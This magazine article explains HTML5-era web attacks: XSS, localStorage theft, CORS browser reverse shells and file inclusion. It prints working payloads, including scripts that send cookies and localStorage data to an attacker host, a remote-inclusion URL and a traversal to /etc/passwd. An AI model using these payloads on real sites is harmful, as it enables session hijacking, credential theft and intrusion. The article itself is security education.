De­mys­ti­fy­ing HTML 5 At­tacks

An at­tack vec­tor is a path or means by which a hacker can get ac­cess to a web­site. HTML5 is rapidly emerg­ing as the stan­dard for rich Web ap­pli­ca­tions—an al­ter­na­tive to pro­pri­etary ap­pli­ca­tions like Sil­verlight and Flash. Un­for­tu­nately, it throws up se­cur

OpenSource For You - - DEVELOPERS LET'S TRY - By: Anirudh Anand

HTML5 is re­defin­ing the fu­ture of Web ap­pli­ca­tions by pro­vid­ing a rich set of new fea­tures along with ex­tend­ing the ex­ist­ing fea­tures and APIs of HTML4. HTML, the heart of the Web, has brought about sig­nif­i­cant ad­vances with HTML5 by pro­vid­ing sup­port for the lat­est multimedia and server com­mu­ni­ca­tion. All the lat­est ver­sions of browsers have sup­port for HTML5.

HTML5 brings a whole slew of new fea­tures to Web browsers, some of which can be a threat to se­cu­rity and pri­vacy. The new fea­tures in­clude tags like <but­ton>, <video>, <footer>, <au­dio> etc, and new at­tributes for tags such as au­tocom­plete and aut­o­fo­cus. It also in­cludes some additional fea­tures like lo­cal stor­age, cross ori­gin re­source shar­ing, etc. Even though all these fea­tures are an added ben­e­fit for Web de­vel­op­ers, each of them can also be eas­ily ex­ploited.

Client-side or lo­cal stor­age: A se­cure fea­ture?

Lo­cal stor­age is one of the prime fea­tures of HTML5. The main ad­van­tage is that you can make the HTML ap­pli­ca­tions run while you are not con­nected to the net­work and pos­si­bly sync the data when you go on­line again. This im­proves the flex­i­bil­ity of the app. It's also a per­for­mance booster as you can show large amounts of data as soon as the user clicks on to your site, in­stead of wait­ing for it to down­load again. In other words, lo­cal stor­age has many ad­van­tages that help you to sim­plify tasks and also im­prove the per­for­mance. With a sin­gle line of code, you can add and re­trieve in­for­ma­tion from lo­cal stor­age as fol­lows: lo­calS­tor­age.setItem(key, value); lo­calS­tor­age.getItem(key);

But from the se­cu­rity per­spec­tive, is lo­cal stor­age a good idea? Well, the an­swer is ‘no’. Let's look into the prob­lems of lo­cal stor­age.

Cross site script­ing (XSS): The dead­li­est evil!

Cross site script­ing vul­ner­a­bil­i­ties date back to 1996—the early days of the World Wide Web. Over time, these types of at­tacks have evolved so much that they are one of the most crit­i­cal vul­ner­a­bil­i­ties on the In­ter­net to­day. It is es­ti­mated that seven out of ten Web ap­pli­ca­tions de­vel­oped are vul­ner­a­ble to XSS at­tacks! XSS re­sults in a type of in­jec­tion prob­lem, which hap­pens mainly when data is in­cluded in dy­namic con­tent that is sent to a Web user with­out be­ing val­i­dated for ma­li­cious script. The ma­li­cious con­tent of­ten takes the form of JavaScript but can also in­clude HTML, Flash or any other type of code that the browser can ex­e­cute. Let’s look at an ex­am­ple.

Let us as­sume that the site http:// vic­tim. com/ is vul­ner­a­ble to XSS. How will we check it? The ba­sic method is by try­ing to in­ject a JavaScript pop-up alert string along with the URL:

http://vic­tim.com/“><SCRIPT>alert('XSS%20Test­ing')</SCRIPT>

If the com­mands in­side the URL go un­sani­tised, this will trig­ger a pop-up alert. See Fig­ure 1.

At this point, an at­tacker may con­tinue to mod­ify this URL to in­clude more so­phis­ti­cated XSS pay­loads to ex­ploit users. Let us try a more ad­vanced pay­load that can steal the user's cookie: http://vic­tim.com/"><SCRIPT>var+img=new+Im­age();img. src="http://at­tacker/"%20+%20doc­u­ment.cookie; </SCRIPT>

The JavaScript pay­load above cre­ates an im­age DOM ob­ject ( var im­age= new im­age). Since the JavaScript code ex­e­cuted above is within the http:// vic­tim. com/ con­text, the at­tacker has ac­cess to cookie data. The im­age ob­ject is then as­signed to an­other do­main, namely, http:// at­tacker. com/ ap­pended with the Web browser cookie string where the data is sent. Now the at­tacker can send the framed ex­ploit code to vic­tims via dif­fer­ent meth­ods like emails, IM, etc. If the user hap­pens to click on the link, the cookie in­for­ma­tion will be im­me­di­ately copied and sent to the at­tacker. The chances that users will click on the link are very high be­cause the ex­ploit URL con­tains the real do­main name or, rather, a looka­like of the do­main name.

An­other method of test­ing for XSS is to in­ject ma­li­cious code into the search box pro­vided in the vic­tim's web­site. If you in­ject the above XSS test­ing query in the search box, the URL looks some­what like this: http://vic­tim.com/search.php?q=“><SCRIPT>alert('XSS%20 Test­ing')</SCRIPT>

If vul­ner­a­ble, this can also trig­ger a pop-up box in the web­site.

XSS at­tack vec­tors in HTML5

HTML5 in­tro­duces sev­eral new tags and at­tributes like the ones we saw in the ear­lier part of this ar­ti­cle. Each one of those at­tributes can be used to in­ject ma­li­cious code: <video on­error=“Javascript:alert(1)”><source> <au­dio on­error=“Javascript:alert(1)”><source>

In the above case, fil­ter­ing the < and > tags can eas­ily pre­vent tag in­jec­tion but that doesn't mean the site is not vul­ner­a­ble to XSS. Let’s as­sume that we have a search box here in which < and > tags are fil­tered. The at­tacker can very eas­ily in­ject some­thing like on­load=javascript:alert(“XSS”), which can be in­cluded in the search query. Some good black­list­ing fil­ters will fil­ter at­tributes like on­load also. But HTML5 has a num­ber of new at­tributes that don't ex­ist in out­dated fil­ters: <form id=demo on­formin­put=alert(1)>....</form> <in­put type=text onun­load=alert(1)> <form id=demo2 /><but­ton form=demo2 for­mac­tion=javascript: alert(1)>But­ton Text</but­ton>

Fi­nally, one of the other ways of at­tack is through in­jec­tion within the in­put tag. HTML5 has in­tro­duced ways to cre­ate self-trig­ger­ing XSS such as: <in­put type=”text” value=”Ma­li­cious code” on­fo­cus=”alert(1)” aut­o­fo­cus>

As men­tioned ear­lier, client side stor­age (lo­cal stor­age) raises is­sues of se­cu­rity and pri­vacy. Let us see why this is so.

XSS can be a lethal at­tack vec­tor for lo­cal stor­age. All the in­for­ma­tion that is stored in the lo­cal stor­age can

be ac­cessed with the help of JavaScript. So what if a Web ap­pli­ca­tion is found vul­ner­a­ble to XSS? The at­tacker can very eas­ily im­ple­ment an ex­ploit JavaScript code to steal the user cookie and all other in­for­ma­tion stored in the lo­cal stor­age. We have al­ready im­ple­mented an ex­ploit code above that can steal the cookie from vic­tims with­out their knowl­edge. The same can be im­ple­mented in HTML5 with a lit­tle mod­i­fi­ca­tion. http://vic­tim.com/<script>doc­u­ment.write("<imgsrc='http:// at­tacker.com?cookie="+lo­calS­tor­age.getItem('phrase')+"'>");</ script>

This mod­i­fied pay­load can very eas­ily get the de­tails of the cookie from vic­tims with­out their knowl­edge. So stored user cre­den­tials or cookie in­for­ma­tion in lo­cal stor­age can be very eas­ily stolen if the Web de­vel­op­ers are not care­ful with their ap­pli­ca­tion.

Cross ori­gin re­source shar­ing: ob­tain­ing the re­verse shell

HTML5 has an­other fea­ture called cross ori­gin re­quests, which al­lows browsers to make Ajax calls from one do­main to an­other, and read the re­sponse as long as the other al­lows it. This fea­ture can be ad­vanced to cross do­main http traf­fic, which can be used to set up a browser equiv­a­lent of the re­verse shell. Now let us see how this at­tack works.

This at­tack also makes use of XSS vul­ner­a­bil­i­ties. At­tack­ers first tar­get a site that is vul­ner­a­ble to XSS and in­ject ma­li­cious code into it. When a le­git­i­mate user vis­its the vul­ner­a­ble site and hap­pens to click on the ma­li­cious code that the at­tack­ers have in­jected, the pay­load makes a cross do­main call to the at­tack­ers’ web­site, which re­sponds with the ‘ ac­cess con­trol al­low ori­gin’ header. This cre­ates a two- way com­mu­ni­ca­tions chan­nel from the vul­ner­a­ble site to the at­tacker site. In other words, you could say that the at­tack­ers get a re­verse shell, and can now ac­cess the vul­ner­a­ble site via the vic­tim's browser by send­ing com­mands over the In­ter­net. There are tools avail­able in the mar­ket that can sim­plify the tasks, like Shell of the fu­ture, which is a re­verse Web shell han­dler for XSS ex­ploita­tion.

Re­mote code ex­e­cu­tion

While de­vel­op­ing HTML5, the de­vel­op­ers made a sig­nif­i­cant dif­fer­ence in XMLhttpre­quest( ), which cre­ated a po­ten­tial flaw in the sites that use for­mat­ting such as: http://www.vic­tim.com/#in­dex.php http://www.vic­tim.com/in­dex.php?page=ex­am­ple.php

In this type of for­mat­ting, the site code will parse out the page to load in­dex.php, and then use XMLhttpre­quest( ) to grab the file ex­am­ple.php from its Web server be­fore di­rectly adding the code of that page to the cur­rent page. If the de­vel­oper is not care­ful enough while de­sign­ing this, the XMLhttpre­quest( ) can be ex­ploited to fetch pages from any site and not only the cur­rent vic­tim Web server. This can lead to an at­tacker in­clud­ing a re­mote code into the XMLhttpre­quest( ), which it will try to fetch and ex­e­cute: http://www.vic­tim.com/in­dex.php?page=http://at­tacker.com/ ma­li­cious­code.php

This can even lead to the at­tacker get­ting a root shell on the Web server, which can be used for fur­ther at­tacks. Con­sider a sit­u­a­tion in which the de­vel­op­ers were care­ful in de­sign­ing the web­site and so made sure the XMLhttpre­quest( ) re­quest fetches files only from their cur­rent Web server and not from any other server. Does that mean they are se­cure? The an­swer is ‘no’. The at­tacker can still make fur­ther URL mod­i­fi­ca­tions to list the files in­side the Web server that con­tains cre­den­tial in­for­ma­tion: http://www.vic­tim.com/in­dex.php?page=../../../../../../etc/ passwd

If that URL goes un­sani­tised, this will lead to the list­ing of all the con­tents in­side the /etc/passwd file where the user­name-pass­word hashes are stored in a Linux-based ma­chine. This type of at­tack that leads to the unau­tho­rised ac­cess of cre­den­tial files in the lo­cal Web server is called a lo­cal file in­clu­sion at­tack.

Even though HTML5 was sup­posed to sim­plify the task of Web de­vel­op­ers and to quickly im­ple­ment ap­pli­ca­tions that are dy­namic and flex­i­ble, it is cer­tain that lit­tle im­por­tance was given to se­cu­rity. The in­tro­duc­tion of new fea­tures not only added to the flex­i­bil­ity but has also raised is­sues of se­cu­rity and pri­vacy. Most of the new fea­tures im­ple­mented can be used il­le­gally to in­ject ma­li­cious code and to ac­cess unau­tho­rised con­tent. De­fence mech­a­nisms in­clud­ing fil­ter­ing user in­puts, black­list­ing un­nec­es­sary tags in the in­put field, sani­tis­ing search queries be­fore show­ing of the re­sult, etc, will help in pre­vent­ing some com­mon at­tacks, but at­tacks like XSS and re­mote code ex­e­cu­tion are very dif­fi­cult to pre­vent. The au­thor is a sec­ond year Com­puter Sci­ence stu­dent from Amrita Univer­sity, whose core in­ter­est lies in Web ap­pli­ca­tion se­cu­rity and pen­e­tra­tion test­ing. He is a pas­sion­ate blog­ger and an OWASP con­trib­u­tor. You can fol­low him on www.se­cureth­e­lock.com or mail him at anirud­[email protected]­cureth­e­lock.com.

Fig­ure 1: Test­ing for XSS

Newspapers in English

Newspapers from India

© PressReader. All rights reserved.